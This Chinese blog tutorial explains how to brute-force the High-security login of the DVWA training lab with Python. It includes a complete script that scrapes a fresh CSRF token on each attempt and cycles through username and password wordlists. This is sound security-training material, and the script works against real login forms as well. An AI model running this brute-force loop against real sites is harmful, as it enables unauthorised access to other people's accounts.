1. 过程(不查看源代码)
使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下:
首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证。
2. 原理
访问暴力破解的页面,获取token;
带入参数再次访问该页面进行破解。
3. 仿照
搜索类似代码,编写暴力破解的代码。
4. 模拟登录
在最初访问该页面时,实际访问的页面是DVWA的login.php。
需要在访问页面时设置header的cookie。
r = requests.get(url, headers=headers)

5. 查找token

可以使用re(正则表达式)查找。
也可以使用BeautifulSoup查找。
由于响应页面的user_token没有id,所以不能使用id进行查找。
可以看到,user_token是第4个input,因此可以通过查找input,获取token的值。
url = "http://%s/dvwa/vulnerabilities/brute/" % ip
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, "html.parser")
token = soup.find_all("input")[3].get("value")
6. 完整代码
# -*- coding: utf-8 -*-
# author = 'K0ctr' import requests
# import re
from bs4 import BeautifulSoup ip = "192.168.203.128"
headers = {
# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Cookie": "security=high; PHPSESSID=5c6sgq0cclaer2tdpi6iep1m62"
} names = open("small.txt", 'r', encoding="utf-8")
passwords = open("common_pass.txt", 'r', encoding='utf-8')
for username in names:
passwords.seek(0)
for password in passwords:
url = "http://%s/dvwa/vulnerabilities/brute/" % ip
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, "html.parser")
token = soup.find_all("input")[3].get("value")
# token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)", r.text)[0]
get_data = {
"user_token": token,
"username": username.strip(),
"password": password.strip(),
"Login": "Login"
}
print('-' * 20)
print('用户名:', username.strip())
print('密码:', password.strip())
r = requests.get(url, params=get_data, headers=headers)
if 'Username and/or password incorrect.' in r.text:
print('破解失败')
else:
print('破解成功')
print('-' * 20)
passwords.close()
names.close()
 

编写DVWA暴力破解High级别的Python脚本的更多相关文章

  1. DVWA暴力破解练习

    本周学习内容: 1.结合DVWA学习Web应用安全权威指南 实验内容: 使用BurpSuite工具进行DVWA暴力破解 实验步骤: 1.打开DVWA,进入DVWA Security模块将 Level修 ...

  2. htpwdScan — 一个简单的HTTP暴力破解、撞库攻击脚本

    李姐姐之前跟我们分享了子域名枚举工具subDomainBrute<subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本>,这回带给我们htpwdScan ht ...

  3. 用python 编写redis 暴力破解密码的程序

    本文摘自http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ import redisimport l ...

  4. 最详细Python批量字典暴力破解zip密码

    工具破解 前两天在网上下来了一波项目案例,结果全是加密的压缩包,于是去网上找了一个压缩包破解的工具 苦于工具破解太慢,一个压缩包要好久,解压了三个之后就放弃了,准备另寻他法 密码字典 巧的是破解的三个 ...

  5. DVWA(二): Brute Force(全等级暴力破解)

    tags: DVWA Brute Force Burp Suite Firefox windows2003 暴力破解基本利用密码字典使用穷举法对于所有的账号密码组合全排列猜解出正确的组合. LEVEL ...

  6. 如何编写一个带命令行参数的Python文件

    看到别人执行一个带命令行参数的python文件,瞬间觉得高大上起来.牛逼起来,那么如何编写一个带命令行参数的python脚本呢?不用紧张,下面将简单易懂地让你学会如何让自己的python脚本,支持带命 ...

  7. 动态执行python脚本

    前言 存在许多独立的python脚本,这些脚本可能会增加,也可能会减少,现在需要按照某种顺序调度这些程序.在python的standard library中,有一个模块imp可以实现动态的调用ptho ...

  8. DVWA Brute Force:暴力破解篇

    DVWA Brute Force:暴力破解篇 前言 暴力破解是破解用户名密码的常用手段,主要是利用信息搜集得到有用信息来构造有针对性的弱口令字典,对网站进行爆破,以获取到用户的账号信息,有可能利用其权 ...

  9. Python黑客编程2 入门demo--zip暴力破解

    Python黑客编程2 入门demo--zip暴力破解 上一篇文章,我们在Kali Linux中搭建了基本的Python开发环境,本篇文章为了拉近Python和大家的距离,我们写一个暴力破解zip包密 ...

随机推荐

  1. oracle 查询当前正在执行的事务

    SELECT s.sid, s.serial#, s.event, a.sql_text, a.sql_fulltext, s.username, s.status, s.machine, s.ter ...

  2. Python学习---线程/协程/进程学习 1220【all】

    Python学习---线程基础学习 Python学习---线程锁/信号量/条件变量同步1221 Python学习---同步条件event/队列queue1223 Python学习---进程 1225 ...

  3. Java学习---传输安全设计

    1.计算机安全的概念 用于保护数据和阻止Hacker的工具统称为计算机安全(Computer Security).信息安全最基本的方法就是利用加密信息防止未授权的人窃听,加密是以某种特殊的算法改变原有 ...

  4. js的一道经典题目

    今天碰到一道题,里面既包含了匿名函数的知识,也包含了预编译,函数的传参(形参),感觉迷迷糊糊的,所以想着做个总结. var foo={n:1}; (function(foo){ console.log ...

  5. 套接字和标准I/O缓冲区

    设置标准I/O函数缓冲区的主要目的是为了提高性能.但套接字中的缓冲主要是为了实现TCP协议而设立的.例如,TCP传输中丢失数据时将再次传递,而再次发送数据则意味着在某地保存了数据.存在什么地方呢?套接 ...

  6. MVC4发布到IIS,出现HTTP 错误 404.0 - Not Found的解决方法

    MVC4发布到IIS,出现HTTP 错误 404.0 - Not Found的解决方法 1.出现的错误页面

  7. Source InSight context 窗口丢失的解决办法

    我没关si的情况下强制关机导致的 Source InSight context 窗口丢失的解决办法 (2010-09-03 13:35:45) 转载▼     今天早晨改改CLI,上了趟WC,回来发现 ...

  8. Oracle数据库用户名密码【转载自百度经验】

    登录到安装oracle数据库服务器的操作系统.打开命令窗口:(我的演示机器是windows)   查看环境变量ORACLE_SID的设置情况: windows: echo %ORACLE_SID% l ...

  9. Linux服务器磁盘空间占满问题

    下面我们一起来看一篇关于Linux服务器磁盘占满问题解决(/dev/sda3 满了),希望碰到此类问题的人能带来帮助.   今天下班某电商技术部leader发现个问题,说他们服务器硬盘满了.把日志文件 ...

  10. jersey之get,put,post,delete简单使用

    要使用jersey首先要有相应的依赖包,获取方法有很多,本地下载依赖文件或maven获取,这里假设你的环境已经搭建好了.要使用jersey首先要初始化一个client客户端,下面是最简单的一个get请 ...